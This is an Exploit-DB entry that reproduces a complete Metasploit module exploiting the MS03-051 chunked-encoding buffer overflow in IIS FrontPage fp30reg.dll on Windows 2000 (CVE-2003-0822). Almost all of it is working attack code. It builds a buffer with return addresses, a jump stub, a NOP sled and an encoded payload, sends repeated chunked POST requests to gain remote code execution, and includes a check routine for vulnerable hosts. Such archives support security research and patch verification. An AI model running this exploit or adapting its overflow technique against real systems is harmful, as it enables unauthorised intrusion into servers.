标题: Microsoft IIS - ISAPI FrontPage 'fp30reg.dll' Chunked Overflow (MS03-051) (Metasploit) EDB-ID: 16356 CVE: 2003-0822 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-25 漏洞利用脚本: ##
# $Id: ms03_051_fp30reg_chunked.rb 9929 2010-07-25 21:37:54Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow',
   'Description'    => %q{
     This is an exploit for the chunked encoding buffer overflow
    described in MS03-051 and originally reported by Brett
    Moore. This particular modules works against versions of
    Windows 2000 between SP0 and SP3. Service Pack 4 fixes the
    issue.
   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9929 $',
   'References'     =>
    [
     [ 'CVE', '2003-0822'],
     [ 'OSVDB', '2952'],
     [ 'BID', '9007'],
     [ 'MSB', 'MS03-051'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
     'StackAdjustment' => -3500,

    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Windows 2000 SP0-SP3',  { 'Ret' => 0x6c38a4d0  }],   # from mfc42.dll
     ['Windows 2000 07/22/02', { 'Ret' => 0x67d44eb1  }],   # from fp30reg.dll 07/22/2002
     ['Windows 2000 10/06/99', { 'Ret' => 0x67d4665d  }],   # from fp30reg.dll 10/06/1999
    ],
   'DisclosureDate' => 'Nov 11 2003',
   'DefaultTarget' => 0))

  register_options(
   [
    OptString.new('URL', [ true,  "The path to fp30reg.dll", "/_vti_bin/_vti_aut/fp30reg.dll" ]),
   ], self.class)
 end

 def exploit

  print_status("Creating overflow request for fp30reg.dll...")

  pat = rand_text_alphanumeric(0xdead)
  pat[128, 4] = [target.ret].pack('V')
  pat[264, 4] = [target.ret].pack('V')

  # sub eax,0xfffffeff; jmp eax
  pat[160, 7] = "\x2d\xff\xfe\xff\xff" + "\xff\xe0"

  pat[280, 512] = make_nops(512)
  pat[792, payload.encoded.length] = payload.encoded

  0.upto(15) do |i|

   if (i % 3 == 0)
    print_status("Refreshing the remote dllhost.exe process...")

    res = send_request_raw({
     'uri' => datastore['URL']
    }, -1)

    if (res and res.body =~ /specified module could not be found/)
     print_status("The server states that #{datastore['URL']} does not exist.\n")
     return
    end
   end

   print_status("Trying to exploit fp30reg.dll (request #{i} of 15)")

   res = send_request_raw({
    'uri'     => datastore['URL'],
    'method'  => 'POST',
    'headers' =>
    {
     'Transfer-Encoding' => 'Chunked'
    },
    'data'    => "DEAD\r\n#{pat}\r\n0\r\n"
   }, 5)

   if (res and res.body =~ /specified module could not be found/)
    print_status("The server states that #{datastore['URL']} does not exist.\n")
    return
   end

   handler

   select(nil,nil,nil,1)
  end
 end

 def check
  print_status("Requesting the vulnerable ISAPI path...")
  r = send_request_raw({
   'uri' => datastore['URL']
  }, -1)

  if (r and r.code == 501)
   return Exploit::CheckCode::Detected
  end
  return Exploit::CheckCode::Safe
 end

end URL: https://www.exploit-db.com/exploits/16356